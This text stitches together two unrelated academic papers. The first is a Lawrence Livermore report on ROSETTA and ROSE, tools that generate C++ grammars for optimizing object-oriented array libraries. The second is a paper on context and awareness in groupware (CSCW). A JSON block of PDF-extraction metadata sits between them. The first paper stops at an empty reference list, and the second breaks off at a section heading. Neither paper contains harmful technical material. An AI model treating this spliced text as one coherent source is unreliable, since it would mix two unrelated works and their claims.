Available to DOE and DOE contractors from the
Office of Scientific and Technical Information
P.O. Box 62, Oak Ridge, TN 37831
Prices available from (423) 576-8401
http://apollo.osti.gov/bridge/
Available to the public from the
National Technical Information Service
U.S. Department of Commerce
5285 Port Royal Rd.,
Springfield, VA 22161
http://www.ntis.gov/
OR
Lawrence Livermore National Laboratory
Technical Information Department’s Digital Library
http://www.llnl.gov/tid/Library.html
Parallel Object-Oriented Framework Optimization *
Dan Quinlan
Center for Applied Scientific Computing
Lawrence Livermore National Laboratory
dquinlan@llnl.gov
Abstract
Object-oriented libraries arise naturally from the increasing complexity of developing related scientific applications. The optimization of the use of libraries within scientific applications is one of many high-performance optimizations, and is the subject of this paper. This type of optimization can have significant potential because it can either reduce the overhead of calls to a library, specialize the library calls given the context of their use within the application, or use the semantics of the library calls to locally rewrite sections of the application. This type of optimization is only now becoming an active area of research. The optimization of the use of libraries within scientific applications is particularly attractive because it maps to the extensive use of libraries within numerous large existing scientific applications sharing common problem domains. This paper presents an approach toward the optimization of parallel object-oriented libraries.
ROSE[1] is a tool for building source-to-source preprocessors, ROSETTA is a tool for defining the grammars used within ROSE. The definition of the grammars directly determines what can be recognized at compile time. ROSETTA permits grammars to be automatically generated which are specific to the identification of abstractions introduced within object-oriented libraries. Thus the semantics of complex abstractions defined outside of the C++ language can be leveraged at compile time to introduce library specific optimizations. The details of the optimizations performed are not a part of this paper and are up to the library developer to define using ROSETTA and ROSE to build such an optimizing preprocessor. Within performance optimizations, if they are to be automated, the problems of automatically locating where such optimizations can be done are significant and most often overlooked. Note that a novel part of this work is the degree of automation. Thus library developers can be expected to be able to build their own specialized compilers with a minimal compiler background. The resulting compilers don't extend the C++ language, but only extend the compiler's ability to recognize and leverage the use of user-defined library abstractions within an application to perform optimizations.
For completeness, an example optimizing preprocessor for a parallel array class library is included to demonstrate the complete use of ROSETTA and ROSE to build an optimizing preprocessor. These results combine the use of the recognition techniques presented in this paper with those of a preprocessor-based transformation approach. The specification of transformations and the details of the construction of full preprocessors is outside the scope of this short paper, however some details of the compiler infrastructure we are using can be found in ROSE[1].
1 Introduction
To application programmers the use of a library to provide new abstractions might appear to provide a language extension specific to the application domain
targeted by the library’s designer. With an object-oriented language the abstractions provided within the library can be endowed with significant syntactic sugar (function overloading) so as to make them largely indistinguishable from an additional language feature (such as a new type). Such object-oriented libraries are however not extensions of the language for one essential reason; the C++ compiler does not recognize or optimize the library’s abstractions. The reason for this is that there is no mechanism to communicate the library’s abstractions to the typical C++ compiler. Thus no mechanism exists to introduce optimizations that are specific to a library’s abstraction. A C++ language compilation approach that would permit library writers to communicate the optimizations associated with the abstractions within their libraries would complete the essential step in permitting object-oriented libraries to be considered as equivalent to language extensions (or would at least muddy the water). This paper presents an essential piece of this work to open up the development of C++ compilers so as to permit object-oriented library/framework developers (instead of only compiler writers) to build portable and easily maintained compilers that are capable of optimizing the abstractions represented by their libraries. We believe that this work is a critical part of future performance optimization for object-oriented libraries.
We define a mechanism to build preprocessors to automate the optimization of applications containing user-defined abstractions via source-to-source transformations. Clearly not all optimizations are appropriate for introduction via source-to-source transformation, but such an approach is intended to be complementary to a vendor’s C++ compiler, which is relied upon for all lower level optimizations. This paper will present a powerful mechanism to represent a critical phase of that work; automatically recognizing the use of complex object-oriented abstractions at compile-time. Our approach extends well beyond the tedious limits of pattern matching and automates the construction of whole grammars and parsers to re-represent the program’s abstract syntax tree (AST) within the compiler. The resulting ASTs using the generated grammars are dramatically simplified since they explicitly identify language elements (expressions and statements) specific to the user defined object-oriented abstractions. Typically such object-oriented abstractions are made available in object-oriented libraries or frameworks, so in this way our approach is well suited to the optimization of applications using such libraries.
The following sections in the paper detail ROSETTA’s use within ROSE, its implementation and how it leverages existing projects particularly the EDG C++ front-end and a modified version of the SAGE II source code restructuring tool. In further sections we describe some of the important features. We present some performance results from the use of this recognition approach within ROSE and finish with conclusions about its use.
2 A Motivating Example
To make the discussion within the paper as concrete and easily understood as possible, we will use a motivating example from the A++/P++ array class library[13] and define our grammars to optimize this example. ROSETTA, and ROSE, are not at all specific to this or any other specific example. However, both ROSETTA, and ROSE, are being used to optimize the performance of the A++/P++ array class libraries.
Within our motivating example we consider the following trivial five-point stencil array operation:
\begin{verbatim}
floatArray A(100, 100);
floatArray B(100, 100);
Range I(1, 98), J(1, 98);
A(I, J) = B(I-1, J)+B(I+1, J)+B(I, J)+B(I, J+1)+B(I, J+1);
\end{verbatim}
In this code fragment, A and B are multidimensional array objects, floatArray. A++ is a serial array class library, P++ is a parallel array class; data in the arrays are distributed across multiple processors if P++ is used and communication is automatically introduced. Both the A++ and P++ libraries share an identical interface, so that the same code can be developed using A++ and recompiled and executed in parallel using P++. In this example, I and J are Range objects that together specify an two dimensional index space of the arrays A and B.
3 ROSETTA
ROSETTA is a tool developed for the manipulation and construction of grammars. It permits a C++ Metaprogram to be defined which, when executed, builds tools like Sage II [8] from the user’s manipulation of the C++ grammar (using the ROSETTA object-oriented library). Specifically, elements of SAGE II source code form the definition of the C++ grammar’s implementation within ROSETTA. ROSETTA is not specific to C++ in any way, but is used currently for the development of the C++ grammar and higher level grammars that include user defined types, statements, expressions, etc. It is not a novel part of this work to have defined a mechanism to generate SAGE II, modified or not. The novel aspect of this research is that higher-level grammars can be automatically generated in addition to the modified SAGE II. This paper presents ROSETTA as the mechanism by which critical parts of a final preprocessor are customized for a framework’s abstractions; and automatically generated. Some aspects of the infrastructure for building the final preprocessor are presented in ROSE [1].
3.1 Building Grammars
For our purposes, a specification of a grammar is a set of product rules expressed in terms of terminals and non-terminals to define a language’s constituent elements. BNF notation is a common form for the expression of such rules. ROSETTA represents a class library of terminals and nonterminals used to define a grammar. To each grammatical element (terminal or nonterminal object) in the ROSETTA application we associate source code. When the Metaprogram application using the ROSETTA library is executed it produces source code which can be used to build an AST. ROSETTA’s automatically generated parsers permit the creation of higher-level ASTs automatically from the lower level C++ grammar’s AST (parsing from EDG’s AST is provided as part of ROSE and Sage II). The hierarchy of classes represented by this source code is what we consider to be the implementation of the grammar. The default behavior is to build the SAGE II library (in a modified form) representing an implementation of classes defining the C++ grammar.
3.1.1 Building the C++ Grammar
It is relatively trivial (but lengthy) to define the C++ grammar in terms of terminals and nonterminals and associate with the terminals and nonterminals source code that implements those objects. The default grammar is the C++ grammar and the source code associated with it is essentially a modified form of the SAGE II source code (though automatically generated). We consider an implementation of the grammar to be a library of classes representing the different language elements defined by a grammar (all possible statements, expressions, types, symbols, etc.). We use a modified form of the Sage II library as the implementation of the C++ grammar, but other libraries that implement grammars and form the basis of different sorts of compiler tools exist [6, 5].
Figure 1 shows a simplified representation of the class hierarchy associated with the C++ grammar as
// Examples of grammatical elements for "Array" Grammar
Grammar Array("Array");
// Construction of Terminal objects for "Array" grammar
Grammar::Terminal ArrayAssignOp ("ArrayAssignOp","Array");
Grammar::Terminal ArrayAddOp ("ArrayAddOp","Array");
Grammar::Terminal ArraySubtractOp ("ArraySubtractOp","Array");
Grammar::Terminal ArrayMultiplyOp ("ArrayMultiplyOp","Array");
Grammar::Terminal ArrayDivideOp ("ArrayDivideOp","Array");
// Construction of NonTerminal objects for "Array" grammar
Grammar::NonTerminal ArrayBinaryOp ("Array");
Figure 3: Example Meta-Program specification of Terminal and NonTerminal objects for "Array" grammar. Alternatively, higher level mechanisms in ROSETTA can automatically generate equivalent code from a class definition for the "Array" object.
3.1.2 Building Higher Level Grammars
Figure 3 shows examples of the declaration of terminals and non-terminals associated with an example "Array" grammar. To simplify the figures we will associate the letter X with the array object and build an X grammar. Clearly X could stand for any library abstraction. Figure 2 shows the modification of the corresponding simplified C++ grammar to build a higher-level grammar specific to a user-defined abstraction, X, note that the grammar includes X types, X statements, and X expressions. An AST built with this grammar clearly identifies language elements based on the X abstraction. As in the C++ grammar previously, in the actual X grammar a few hundred additional terminals and non-terminals must be added to address the full complexity of the C++ language (the full hierarchy of the classes defining the grammars would make the figures overly complex). Within the AST defined by the higher level grammars, searching for X statements for an arbitrary user defined abstraction, X, is simple because of the natural classification that results from the re-organization of the C++ AST into an AST.
Since higher-level grammars use the same source code base for their generated code, the explicit re-specification is not required except to add additional terminals and non-terminals to define the higher level grammar. In our motivating array class example we define the array grammar with respect to the C++ grammar and using a system of constraints. For example, the array user-defined type is represented in the array grammar by a C++ grammar's class type combined with a constraint that the name of the user-defined type was "Array". Additionally, within the array grammar we add as new terminals and non-terminals the public member functions of the array objects so that they could be identified as formal elements of the array grammar within expressions and statements and be clearly represented within the AST associated with the array grammar. Such specification of additional terminals and non-terminals can be automated from the class definition (the header file) which is parsed and known at runtime of the C++ Meta-program. The process means that grammars can be automatically generated from class definitions. This greatly simplifies the construction of library specific grammars.
Thus far we have shown how to build an X grammar for the array object, but a separate one should be considered to be built for the Range object so that it too, as an the array class abstraction, can be recognized at compile-time.
3.2 Connections between Grammars
Figure 4 shows how the individual grammars are connected in a sequence of steps; automatically generated parsers parse lower level grammars into higher level grammars. The initial AST using the C++ grammar is built by the EDG front-end from a C++ application code. The following describes the steps:
1. The first step generates the EDG AST, this program tree has a proprietary interface and is parsed in the second step to form the C++ Grammar’s AST.
2. The C++ Grammar is generated by ROSETTA and is essentially conformant with the SAGE II implementation. This second step is representative of what SAGE II provides and presents the AST in a form where it can be modified with a non-proprietary public interface. At this second step the original EDG AST is deleted and afterwards is unavailable.
3. The third step is the most interesting since at this step the C++ Grammar’s AST is parsed into higher level grammars. Each parent grammar (lower level grammar) parses itself into all of its child grammars so that the hierarchy of grammars is represented by corresponding ASTs (one for each grammar). Transformations can be applied at any stage of this third step and modify the parent AST recursively until the AST associated with the original C++ grammar is modified. At this point, an AST has been built using the Array and Range grammars (X Grammars), which is specific to the Array and Range objects contained within the A++/P++ array class library. The X Grammar AST not only identifies all Array and Range objects, but more importantly identifies all Array and Range expressions and Array and Range statements. For statement by statement optimizations Array and Range statements can now be easily recognized by traversing the AST. At the end of this third step all transformations associated with Array statements have been applied.
4. The fourth step is simply to unparse the AST associated with the C++ AST to generate optimized C++ source code. This completes the source-to-source preprocessing.
An obvious next and final step is to compile the resulting optimized C++ source code using the vendor's C++ compiler.
### 3.3 Connection to ROSE
ROSE provides for the specification of transformations and the automated introduction of such transformations into application source code. More information specific to ROSE can be found in [1]. The coupling of ROSETTA with ROSE provides the more complete source-to-source optimization mechanism with which to introduce library/framework or architecture dependent optimizations.
### 3.4 The Meta-program Level
A Meta-program level is used to build the source code that will be compiled to be the preprocessor; the Meta-program is a simple C++ program. The Meta-program specifically defines the construction and manipulation of grammars using the ROSETTA library and the Backus Naur Form (BNF) like abstractions within ROSETTA. The output of the Meta-program, when it is executed, is itself source code (written to two files). This resulting source code is compiled, with the ROSE infrastructure, to form a preprocessor specific to a given framework. The Meta-program can automatically generate a lot of source code, typically 200,000 lines, but it can be compiled in under a minute and once built into a preprocessor, by the library developer, need not be recompiled by application developers.
### 4 Implementation
The implementation of ROSETTA builds upon SAGE II [8], which is built upon the Edison Design Group (EDG) C++ front-end. Our work has been greatly simplified by access to these two tools. ROSETTA uses a modified form of the SAGE II
which we have developed. The purpose was to
- Permit the automate generation of what is essentially a modified version of SAGE II
- Maintain the SAGE II source code (so that we can fix minor bugs and make additions (templates, and support for new C++ features as supported by EDG))
- Introduce the use of STL (as an outside library) into the design of SAGE II
- Remove as many asymmetries from the implementation of SAGE II so that the generation of the code could be simplified.
- Modify the SAGE II source to permit it to be used as a basis for all higher level grammars. This required naming the classes so that multiple grammars could coexist (to build hierarchies of grammars) in the same source-to-source compiler.
While using SAGE II as a basis for the grammars that ROSETTA generates, ROSETTA adds the significant capability to define grammars at the level of BNF notation. C++ classes are used to represent terminals and non-terminals and whole grammars.
5 Results
We have built high level grammars and used them to recognize and classify the use of user defined abstractions with numerous applications. The approach is particularly simple since the grammars can be built automatically from the library header files where the abstractions (C++ classes) are defined. Some additional information is required if numerous default definitions are to be overridden. It is not possible within this paper to present the ASTs for the higher level grammars since graphs as complex as these are difficult to visualize and we currently lack mechanisms for their presentation except for debugging purposes. At present we have processed approximately 1.5 Million lines of code through the tools built by ROSETTA. Current work has been to expand the complexity and quantity of source code being used as tests within this research work.
The most important use of this work has been in combination with other mechanisms within ROSE. Using grammars built by ROSETTA, and in conjunction with ROSE, full optimizing preprocessors have been built to optimize the performance of the A++/P++ array class library. Significant speedups were obtained depending on the array sizes; final performance matched that of C and FORTRAN performance.
Figure 5 shows the range of performance associated with different size arrays for the simple five point stencil operator (our motivating example) on the IBM Blue Pacific Computer. The results are in no way specific to this array statement, moderate and large size applications have been processed using preprocessors built with ROSE. The results show the time (vertical axis) plotted vs. number of processors for the motivating example problem using the P++ array class library (P++ code). The lower plotted line (Parallel Code) shows the transformed code, demonstrating the improved performance associated with the representation of the P++ code.
6 Related Work
A distinguishing feature of our work is that we automatically generate domain-specific grammars for object-oriented frameworks or applications. Such grammars include abstractions from object-oriented frameworks which are not a part of the C++ grammar. These grammars are built on top of the C++ grammar, using similar modified SAGE II source code as for the C++ grammar. In contrast, other work defines a single grammar representing the grammar of the base language itself (nothing higher level or user-defined abstraction specific) MPC++[6], NESTOR[5], SAGE[8]. As a result ROSETTA not only builds the source code restructuring tools specific to the C++ language (the base language) but also source code restructuring tools specific to the targeted domain-specific library/framework. This essentially provides a customized library/framework specific source code restructuring tool for the library/framework.
7 Conclusions
The use of object-oriented frameworks can often require or benefit from compile-time optimization if the abstractions are not sufficiently coarse grain and the context of the abstraction's use is important to the optimization. Examples include array class libraries (A++/P++, POOMA, Blitz, etc.), matrix class libraries (MTL, TNT, etc.), and complex grid geometry oriented frameworks like Overture[2]. This is the case for numerous sorts of abstractions for which the statements that use them consist of multiple expressions. Alternatively, blocks of statements may benefit from optimizations where their context relative to one another can only be seen at compile time. Our approach is particularly effective for array class libraries or higher level curvilinear grid libraries that include more sophisticated mathematical operators (e.g. div, grad, curl, laplacian, etc.). Examples could be array class, matrix classes, particle classes, finite-element classes, etc.
One of the limitations of this approach is that the construction of grammars through the constraining of the base level language grammar (the C++ grammar) does not permit the addition of new keywords to the C++ language. But this is precisely a strength of our approach. We don't want to add new features to the base language or provide a mechanism to simplify this. To do so would be to open the compiler in a fashion that would permit applications to be built that would rely upon specific language extensions, this would be counter productive to the development of portable standardized object-oriented libraries. Our goal is restricted to the optimization of existing object-oriented libraries/frameworks. Providing such a more sophisticated mechanism to extend C++ would simplify the addition of new keywords and language features but would be inconsistent with the use of the existing EDG front-end and parser from EDG to SAGE II. Such work would increase the complexity of ROSETTA well beyond practical limits.
Since a library can not readily see the context of how its elements are juxtaposed, only a compile-time tool can be expected to discern the use of object-oriented abstractions relative to one another within a user's application. With the abstract syntax tree (AST) exposed, clearly a relatively simple pattern matching approach could be used to identify the objects within an applications, but this is not enough to be useful. To recognize where transformations can be automatically introduced it is required that the use of the object-oriented abstractions be identified and classified into specific language/grammatical elements (expressions, statements, types, symbols, etc.). With this level of detail the AST is greatly simplified and can be traversed with the intent of abstraction dependent optimization, syntax checking, etc.
8 Special Thanks
We would like to thank the developers of the EDG front-end and SAGE II upon whose work we have based our own work for the last several years. Despite significant work to extend Sage II for our own purposes, it has been a significant asset to us.
References
|
{"Source-Url": "https://digital.library.unt.edu/ark:/67531/metadc1405721/m2/1/high_res_d/15006300.pdf", "len_cl100k_base": 5200, "olmocr-version": "0.1.53", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 26513, "total-output-tokens": 6555, "length": "2e12", "weborganizer": {"__label__adult": 0.00035190582275390625, "__label__art_design": 0.00036454200744628906, "__label__crime_law": 0.0003218650817871094, "__label__education_jobs": 0.0006704330444335938, "__label__entertainment": 7.230043411254883e-05, "__label__fashion_beauty": 0.00016927719116210938, "__label__finance_business": 0.00023937225341796875, "__label__food_dining": 0.0003352165222167969, "__label__games": 0.0004935264587402344, "__label__hardware": 0.001312255859375, "__label__health": 0.0005950927734375, "__label__history": 0.00027942657470703125, "__label__home_hobbies": 0.00010204315185546876, "__label__industrial": 0.0005750656127929688, "__label__literature": 0.00023734569549560547, "__label__politics": 0.00029087066650390625, "__label__religion": 0.0005970001220703125, "__label__science_tech": 0.047607421875, "__label__social_life": 9.208917617797852e-05, "__label__software": 0.0059967041015625, "__label__software_dev": 0.93798828125, "__label__sports_fitness": 0.00036454200744628906, "__label__transportation": 0.0006871223449707031, "__label__travel": 0.00023257732391357425}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 29520, 0.03375]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 29520, 0.60021]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 29520, 0.87722]], "google_gemma-3-12b-it_contains_pii": [[0, 240, false], [240, 2057, null], [2057, 5239, null], [5239, 9576, null], [9576, 12623, null], [12623, 16431, null], [16431, 18139, null], [18139, 19736, null], [19736, 22614, null], [22614, 26643, null], [26643, 29520, null]], "google_gemma-3-12b-it_is_public_document": [[0, 240, true], [240, 2057, null], [2057, 5239, null], [5239, 9576, null], [9576, 12623, null], [12623, 16431, null], [16431, 18139, null], [18139, 19736, null], [19736, 22614, null], [22614, 26643, null], [26643, 29520, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 29520, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 29520, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 29520, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 29520, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 29520, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 29520, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 29520, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 29520, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 29520, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 29520, null]], "pdf_page_numbers": [[0, 240, 1], [240, 2057, 2], [2057, 5239, 3], [5239, 9576, 4], [9576, 12623, 5], [12623, 16431, 6], [16431, 18139, 7], [18139, 19736, 8], [19736, 22614, 9], [22614, 26643, 10], [26643, 29520, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 29520, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
cb5e610ba884777deab0deda0abef2bdcf3a5ceb
|
Bringing Context to CSCW
M. R.S. Borges\textsuperscript{1}, P. Brézillon\textsuperscript{2}, J. A. Pino\textsuperscript{3} and J.-Ch. Pomerol\textsuperscript{2}
\textsuperscript{1}NCE&IM, Universidade Federal do Rio de Janeiro, Brazil
mborges@nce.ufrj.br
\textsuperscript{2}LIP6, Université Pierre et Marie Curie, France
\textsuperscript{3}DCC, Universidad de Chile, Chile
jpino@dcc.uchile.cl
Abstract
The context concept can be used with advantage in the area of Computer-Supported Cooperative Work. For many years, the awareness term has been used in this area without explicit association to context. This paper attempts to clarify their relationship. In particular, a framework is proposed to understand context and awareness as connected to other concepts used in group work as well. The framework is useful to consider some groupware systems from the context perspective and to obtain some insight on possible improvements for users.
1. Introduction
There has been little emphasis on the understanding of the context concept in the CSCW field. Context has been used in several publications in the area, but it is presented in many cases with different meanings [7]. CSCWD is a good example where the context plays an important role in the specialization of an area. The specialization in this case is defined by the term design, meaning that one is interested in studying the knowledge related to applying CSCW techniques in the area of Design. The contextualization, however, seems so natural that in many cases people lose its real significance.
The context concept has many meanings depending on the area it comes from [5, 12]. On the one hand, there is a series of interdisciplinary conferences on modeling and using context since 1997 [6]. These conferences deal with aspects of context at the highest level of knowledge and reasoning. However, this approach rarely considers practical aspects of context in real-world applications such as collaborative work. On the other hand, in CSCW articles, several issues point to context without being called as such. Context has been applied in group work usually associated with awareness mechanisms. However, few applications use the context concept to guide design decisions, leaving it to be processed mostly by the user. We believe that most misunderstanding is caused by not explicitly recognizing and representing the notion of context and its association with other elements of groupware systems.
We present a framework for understanding the concept of context in group work and discuss the application of context in the area of CSCW. We aim to guide the designer to the systematic use of context when developing an application. We believe this model is useful not only to understand the use of contextual information but also to relate components of groupware systems.
The paper is organized as follows. Section 2 reviews the context concept. Section 3 presents a framework for understanding how groupware issues relate to context. Section 4 presents the groupware model for awareness mechanisms [8]. In Section 5 we use the model to show some examples where a groupware fails in dealing with these concepts. Section 6 concludes the paper.
2. Context
A context in real life is a complex description of knowledge on physical, social, historical, or other circumstances within which an action or an event occurs. In order to understand many actions or events, it is necessary to have access to relevant contextual information. Understanding the "opening a window" action, e.g., depends on whether a real window is referred to or a window on a graphical user interface (UI) [16]. It is possible (i) to identify various types of context, and (ii) to organize them in a two-dimensional representation, vertically (i.e., depth first) from the more general to the more specific and horizontally (i.e., width first) as a heterogeneous set of contexts at each level [4].
In "depth first", there are different contexts defined by their degree of generality, mainly in highly organized systems. The context of a building is more general (higher level) than the context of an office. According to its depth, a context contains more general information than contexts at a lower level, but it has more specific information than contexts at an upper level. A context is
like a system of rules (constraints) for identifying triggering events and for guiding behaviors in lower contexts. In the spirit of [3], one observes that a context at one level contains contextual knowledge, when the application of rules at the lower levels develops proceduralized contexts tailored to lower contexts. Conversely, an upper context is like a frame of reference for the contexts below it.
Each actor has its context in "width first". User's context contains information on the reasons for a move, the results of a meeting with a customer, etc. The context of a communicating object contains knowledge on its location, how to behave with the other communicating objects. At a given level of the context hierarchy, there is thus a set of heterogeneous contexts.

**Figure 1.** Contextual knowledge and proceduralized context [5]
Brézillon & Pomerol [5] distinguish the relevant and the non-relevant parts of the context at the step of the performing task. The latter part is called external knowledge. The former part is called contextual knowledge. At a given step of the task, a part of the contextual knowledge is proceduralized. The proceduralized context is a part of the contextual knowledge, which is invoked, structured and situated according to a given focus (Figure 1).
Proceduralization also means that people use contextual knowledge into some functional knowledge or causal and consequential reasoning. This proceduralization obeys to the need of having a consistent explicative framework to anticipate the results of a decision or action. This consistency is obtained by reasoning about causes and consequences in a given situation [13].
There are various views: context as conceptual drift (a context engine), context as an implicit input to an application, context as a medium for the representation of knowledge and reasoning, context as what surrounds the attention focus, etc. All these context concepts have been formalized and used in knowledge base applications. However, these views are rather individual. An analysis of shared context and its use in group work is also necessary. In the next section we present a framework that can be seen as a first step towards this goal.
### 3. Understanding context in Group Work
A context may be seen as a dynamic construction with five dimensions: (1) time, (2) usage episodes, (3) social interactions, (4) internal goals, and (5) local influences [9]. Although the contextual elements in some situations are stable, understandable and predictable, there are some situations when this does not occur. Cases with apparently the same context can be different.
In order to reduce this impact, we use a conceptual framework aimed to identify and classify the most common contextual elements in groupware tools [17]. The goal of the framework is to provide guidelines for research and development in groupware and context.
The conceptual framework considers the relevant elements for analysis of the use of context in groupware applications. The contextual information is clustered in five main categories: (1) people and groups, (2) scheduled tasks, (3) the relationship between people and tasks, (4) the environment where the interaction takes place and (5) tasks and activities already concluded. These clusters were borrowed from the Denver Model [18].
In synchronous environments, group members need to work at the same time, but in asynchronous environments, there might be a time lag between interactions. The needs for each type of environment are different, especially related to contextual information and the awareness required in each situation [14].
The framework is a generic classification of contextual elements. It does not cover the peculiarities of a certain domain nor applies to a specific type of groupware. This generic framework may be a start point for a classification of contextual elements for particular domains, where new contextual elements may be considered relevant.
The various types of contextual information will be grouped by the framework into the five categories. According to McCarthy [10], the size of the contextual dimension is infinite. Thus, the framework considers only contextual elements most relevant to task oriented groups, i.e., contextual knowledge and proceduralized context [3].
The first category is the information about group members. It concerns information about the individuals and the groups they belong to. The knowledge about the group's composition and its characteristics is important for the understanding of the potential ways the project or task will be developed. The knowledge about the characteristics of individuals and the group as a whole encourages interaction and cooperation [14]. This category is further divided into 2 types of context. The individual context carries information about the individual who is a member of a group. It includes information about his abilities, interests, location, previous experience, personal data and working hours.
The group context carries information about the characteristics of the team. The data is similar to the aforementioned, but related to the group. It includes the composition of the team, its abilities and previous experience as a group, the organizational structure.
The second category is the information about scheduled tasks. Independent of how the interaction occurs, the group members need to be acquainted with task characteristics. Task context is the name given to this context. Its goal is to identify tasks through its relevant characteristics. Among these characteristics, we can select the task name, its description and goals, the deadline, the predicted effort, the technology and other requirements and pre-conditions.
The third category concerns the relationship between the group members and the scheduled tasks. Its goal is to relate the action of each group member and the interaction he is involved in. This interaction begins with an execution plan and terminates when the task has been concluded, passing through a sequence of actions required for carrying out the plan. If the interaction is interrupted before the task is concluded, the reasons for the premature ending are also part of the context and are relevant to understand the interruption rationale. This category is further divided into two types of contexts: the interaction context and the planning one. The interaction context consists of information representing the actions, which took place during the task completion. When interaction is synchronous, it is worth to be aware of details of the activity at the time it occurs, while in asynchronous interactions it matters to provide an overview of activities.
The planning context consists of information about the project execution plan. This information can be generated at two different points. In the case of ad-hoc tasks, they appear as a result of the interaction, which decided about it. For the scheduled tasks, they are generated at the time of the plan, i.e., when the tasks are defined and the roles associated to them. The planning context may include rules, goals, deadline strategies, coordination activities.
The fourth category groups information about the environment. It represents the aspects of the environment where the interaction takes place. It covers both the organizational issues and the technological environment, i.e., all information outside the project but within the organization that can affect the way the tasks are done. The environment gives some additional indications to group members about how the interaction will occur. For example, the quality control patterns are part of this context. Strategy rules, policies, financial restrictions and institutional deadlines are other examples of this context.
The last category gathers all information about concluded tasks. Its goal is to provide background information about the experiences learned either from the same group or similar tasks performed by other groups. It should include all contextual information about previous projects. The framework calls this set of information “historical context”. This information is important for understanding errors and successful approaches in previous projects to be used in current tasks. It can also be used out of the context of a project to provide insight into working practices and team cooperation. A summary of the framework is shown in Table 1.
4. Context and Awareness in Groupware
Proceduralization of context involves the transformation of contextual knowledge into some functional knowledge or causal and consequential reasoning in order to anticipate the result of actions [15]. According to commonly used definitions, data are facts, which have not been analyzed or summarized yet; information is data processed into a meaningful form, and knowledge is explained as the ability to use information.
When people are working as a group, context becomes especially relevant. Not only individual contexts need to be proceduralized, but also the group context. As described in the framework, group context is not simply the union or intersection of individual contexts. For instance, a specific person may work differently with a certain group of colleagues than with another one.
How is context processed when doing group work? Figure 2 shows our proposed model. It is basically a knowledge processing procedure. People individually create knowledge, which is communicated to the rest of the group as well as being presented in a UI and eventually stored. The generation step consists of a person contributing information to the group. Of course, this information may be contents for the group’s output or related information, such as questions, suggestions, or proposals. Part of this information is stored, according to previous conditions, e.g., “all contents must be stored”.
The capture step consists of procedures to gather some physical data from the generation step. For instance, in the case of joint text editing, the movement of the user’s mouse may provide indication on which part of the document the user works. In another example, a camera may capture the physical movements of a person; these movements may be important for another user who may be wondering why the first person is not answering her questions.
The awareness step consists of the processing of information to provide it to the other participants. Note it has several inputs. The first is information from the generation step. An example would be a contribution just written by a group member. This information needs to be transformed in some way, perhaps summarized or filtered to make it available to other people. In fact, it takes into account the processing specifications given by individual users. Another type of input is from the capture step; again, this information will probably be processed to
avoid information overload. It also receives information from the storage step. This occurs, e.g., when an agent decides to distribute a summary report on recent work in asynchronous systems. Finally, notice there is group context received as input. This is needed as important information to process the rest of the inputs.
**Table 1. Conceptual framework for the analysis of context in groupware applications [17]**
<table>
<thead>
<tr>
<th>Information type</th>
<th>Associated Contexts</th>
<th>Goals</th>
<th>Examples of contextual elements</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Group Members</strong></td>
<td>Individual (Synchronous & Asynchronous)</td>
<td>To identify the participants through the representation of their personal data and profiles.</td>
<td>• Name • Previous experience • Location • Working hours • Web page</td>
</tr>
<tr>
<td></td>
<td>Group (Synchronous & Asynchronous)</td>
<td>To identify the group through the representation of its characteristics.</td>
<td>• Name • Previous experience • Organizational Structure • Location • Working hours • Web page</td>
</tr>
<tr>
<td><strong>Scheduled Tasks</strong></td>
<td>Task (Synchronous & Asynchronous)</td>
<td>To identify the tasks through the representation of its characteristics.</td>
<td>• Name • Estimated effort • Activities • Restrictions • Workflow</td>
</tr>
<tr>
<td><strong>Relationship between people and tasks</strong></td>
<td>Interaction (Synchronous)</td>
<td>To represent in detail the activities performed during the task completing.</td>
<td>• Group in-charge • Gesture awareness • Concluded Activities • Author • Goal • Report</td>
</tr>
<tr>
<td></td>
<td>Interaction (Asynchronous)</td>
<td>To represent an overview of the activities performed during the task completing.</td>
<td>• Group in-charge • Activities completed • Author • Goal • Report</td>
</tr>
<tr>
<td></td>
<td>Planning (Synchronous & Asynchronous)</td>
<td>To represent the Execution Plan of the task to be performed</td>
<td>• Interaction roles • Strategies • Coordination Procedures • Working Plan</td>
</tr>
<tr>
<td><strong>Setting</strong></td>
<td>Environment (Synchronous & Asynchronous)</td>
<td>To represent the environment where the interaction occurs; i.e., characteristics that influence task execution.</td>
<td>• Quality patterns • Organizational structure • Financial constraints • Standard procedures • Standard strategies</td>
</tr>
<tr>
<td><strong>Completed Tasks</strong></td>
<td>Historical (Synchronous & Asynchronous)</td>
<td>To provide understanding about tasks completed in the past and their associated contexts.</td>
<td>• Task Name • Versions of the artifacts • Contextual elements used to carry out the task</td>
</tr>
</tbody>
</table>
The visualization step provides the UI. It gives users a physical representation of the knowledge: icons, text, figures, etc. Input to this step can come from the generation procedure: the physical feedback a user receives when she contributes to the group.
Capture, storage, awareness and visualization are all processing steps done by the system on the basis of user's specifications and pre-established rules. Besides generation, there is another human processing step: the interpretation process. A person performs this step when considering the visualized information and her individual context, she assimilates the presented information into knowledge. This is needed by the person to generate new contributions, thus closing the cycle of processing context to do participatory work within a group. A person may need some information from the storage, requesting it; this petition may be as simple as a mouse click over a button on the UI or a complex query specification.

5. Contexts and Awareness in Practice
